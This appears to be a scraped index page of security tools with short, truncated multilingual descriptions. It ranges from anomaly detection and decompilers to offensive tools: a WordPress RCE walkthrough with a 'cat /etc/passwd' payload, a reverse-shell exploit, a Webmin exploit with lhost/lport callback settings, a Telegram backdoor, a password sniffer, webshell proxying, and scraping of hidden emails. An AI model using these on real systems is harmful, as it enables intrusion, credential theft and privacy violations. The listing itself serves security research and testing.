alibi-detect

Alibi Detect 是一个源码可用的 Python 库，专注于异常值 、对抗性 和漂移 检测。该包旨在覆盖适用于表格数据、文本、图像和时间序列的在线和离线检测器。漂移检测同时支持 TensorFlow 和 PyTorch 后端。 文档 如需了解更多有关在生产环境中监测异常值和分布的重要性的背景信息，请查看来自 ICML 2020 研讨会 机器学习系统的部署与监测挑战 上的这个演讲，该演讲基于论文生产环境中模型的监测与可解释性并引用了 Alibi Detect。...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress 插件 RCE system'cat /etc/passwd' ✅ 第 2 步 – 启动 Python HTTP 服务器 使用 Python 提供你的 payload 服务： root@kitploit: python3 -m http.server 8000 这将使你的 payload.txt 可通过以下地址访问： root@kitploit: http://:8000/payload.txt ✅ 第 3 步 – 运行利用脚本 root@kitploit: python3 CVE-2019-9978.py...

mcpExec

mcpExec 是一个利用 CVE-2026-23744 漏洞，通过易受攻击的 MCPJam Inspector 安装的 URL 来获取反向 Shell 的工具。 安装 root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py 要退出虚拟环境...

php_code_analysis

this script will scan your code the script can find 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection features 1. fast 2. simple report usage: root@kitploit: python code.py file.php -this will sc...

bt2

bt2: Blaze Telegram Backdoor Toolkit bt2 is a Python-based backdoor in form of a IM bot that uses the infrastructure and the feature-rich bot API provided by Telegram, slightly repurposing its communication platform to act as a C&C. Dependencies Telepot requests Installation root@kitploit: $ sudo...

python-uncompyle6

|buildstatus| |Pypi Installs| |Latest Version| |Supported Python Versions| |packagestatus| .. contents:: uncompyle6 A native Python cross-version decompiler and fragment decompiler. The successor to decompyle, uncompyle, and uncompyle2. I gave a talk on this at BlackHat Asia 2024 . Introduction...

python-uncompyle6

|buildstatus| |Pypi Installs| |Latest Version| |Supported Python Versions| |packagestatus| .. contents:: uncompyle6 ネイティブなPythonクロスバージョン逆コンパイラおよびフラグメント逆コンパイラです。 decompyle、uncompyle、uncompyle2の後継です。 BlackHat Asia 2024 でこの件について講演しました。 はじめに uncompyle6 はPythonバイトコードを同等のPythonソースコードに変換します。...

cloudflare-bypass-2026

Cloudflare Bypass 工具 2026 面向 Cloudflare Turnstile / Challenge 的多方案研究与授权测试工具集，支持 Mac / Windows / Linux 。 Table of Contents / 目录...

Stardox

利用可能: スポンサー Stardoxを支援してくださっている企業の皆様に心から感謝します: | | | ---|---|---|--- 概要 Stardoxは、高度なGitHubスターゲイザー情報収集ツールです。GitHubをスクレイピングし、結果をツリービューで表示します。これにより、任意のリポジトリのスターゲイザー（自分のものでも他人のものでも）に関するデータを収集できます。 機能 GitHub APIのフェッチ制限を回避 公開プロフィールで非表示にされていてもスターゲイザーのメールアドレスを取得 収集データ 総リポジトリ数 総スター数 総フォロワー数 総フォロー数...

CVE-2023-20198

CVE-2023-20198 检查目标IP是否存在CVE-2023-20198漏洞 python main.py TARGETIP...

PasswordsSniffer

PasswordsSniffer 描述 此模块嗅探未受保护协议的用户名和密码。 要求 本包需要： python3 python3 Standard Library Scapy 安装 root@kitploit: pip install PasswordsSniffer 用法 命令行 root@kitploit: PasswordsSniffer python3 -m PasswordsSniffer python3 PasswordsSniffer.pyz PasswordsSniffer test test all available class PasswordsSniffer -i...

the-book-of-secret-knowledge

"知識は力強い、慎重に使え！ " インスピレーションを与えるリスト、マニュアル、チートシート、ブログ、ハック、ワンライナー、CLI/Webツールなどのコレクション。 📔 それは何か？ このリポジトリは、私が日々の業務で使用する様々な資料やツールを集めたものです。多くの有用な情報が一箇所にまとめられています。私にとっては、よく参照する貴重な知識源です。 🚻 誰のため？ 基本的に誰のためでもあります。ここには誰もが好むものが見つかります。しかし、正直に言うと、システム/ネットワーク管理者、DevOps、ペネトレーションテスター、セキュリティ研究者を対象としています。 ℹ️ 貢献...

CVE-2012-2982_python

CVE-2012-2982 エクスプロイト python こんにちは、私はセキュリティ研究者です。これは私の初めてのエクスプロイトです。 Webmin 1.580 には RCE があり、これは CVE-2012-2982 でもあります。 このペイロードを使用するには： 1. ダウンロード 2. テキストエディタで開きます！ 3. targetIP をあなたのターゲットに変更 4. lhost をあなた自身の IP に変更 5. lport をリスナーが実行されるポート番号に変更 6. そして最後に 'page' : "%2F", 'user' : "user1", 'pass' :...

VulnReach

VulnReach 运行时感知的 SCA —— 证明哪些 CVE 实际可达，而不仅仅是已安装。 VulnReach 现已正式成为OWASP 项目。 🎉 演示 第 1 步 —— SCA 在依赖项中发现 74 个 CVE 第 2 步 —— VulnReach 证明其中哪些实际可达 发现结果 —— 每个 CVE 的证据链 仪表盘 —— 9 个仓库中确认 42 个可达 语言支持： Python 已完全可用于生产环境（污点、AST、路由、运行时）。Java 和 JavaScript 具备可用的调用图分析，处于实验阶段。Go、C 和 PHP 在路线图上。详见 ROADMAP.md。 VulnReac...

CVE-2021-41773

ApacheRCE ApacheRCE es un pequeño script de Python que te permitirá introducir la versión de Apache 2.4.49-2.4.50 y luego introducir una lista de direcciones IP desde un archivo de texto y ejecutar el exploit en masa sobre ellas. Esto puede ser útil si estás ejecutando múltiples sitios web y...

EasyScan

EasyScan EasyScanは、指定されたWebサイトのHTTPヘッダー、DNSレコード、その他の設定を検査してセキュリティを分析するPythonスクリプトです。このスクリプトは、スコア、グレード、および潜在的な脆弱性に対処するための推奨事項を含むセキュリティレポートを生成します。 Features & Test Cases このスクリプトは以下のテストケースをカバーしています。 1. SSL/TLS検証 : サイトがHTTPSを使用しているか確認し、証明書を検証し、有効期限を報告します（30日未満の場合は警告）。 2. Same Site Scripting :...

social-analyzer

Social Analyzer - API, CLI, and Web App for analyzing & finding a person's profile across +1000 social media \ websites. It includes different analysis and detection modules, and you can choose which modules to use during the investigation process. The detection modules utilize a rating mechanism...

SCOPE

SCOPE: Security Cloud Ops Purple Engagement SCOPEは、決定論的なPythonインベントリと制約付きAIエージェントを使用して、AWS Purple Teamワークフローを実行します。AWSリソースの監査、攻撃パスの検証、レビューのみのエクスプロイトプレイブックの生成、コントロールの作成、Splunk調査のガイドを行います。 仕組み Claude Code、Antigravity CLI、Gemini CLI、またはCodex CLIからSCOPEを実行します： root@kitploit: /scope:audit --all フェーズ| ...

pystinger

pystinger 英語 | 简体中文 Pystinger は、webshell を介して SOCK4 プロキシ と ポートマッピング を実装します。 metasploit-framework、viper、cobalt strike で直接使用してセッションをオンラインにできます。 Pystinger は Python で開発されており、現在、php、jspx、aspx の 3 つのプロキシスクリプトをサポートしています。 使用法 サーバーのドメイン名は http://example.com :8080 とします。サーバーの内部ネットワーク IP アドレスは 192.168.3.11 で...

udpack

UDPack UDPackは拡張可能な汎用UDPパケット難読化ツールです。このアプリケーションの目的は、UDPデータストリームの経路上に配置され、パケットの難読化、復号化、またはその他の変更を行うことです。 Python 3.4以上が必要です。このスクリプトはasyncioライブラリを使用しているためです。常に最新のPythonリリースを使用することを強く推奨します。基本機能はサードパーティの依存関係を必要としませんが、XChaCha20Poly1305PackerはPyNaClを必要とします。 警告: このアプリケーションの目的は 難読化 であり、 暗号化...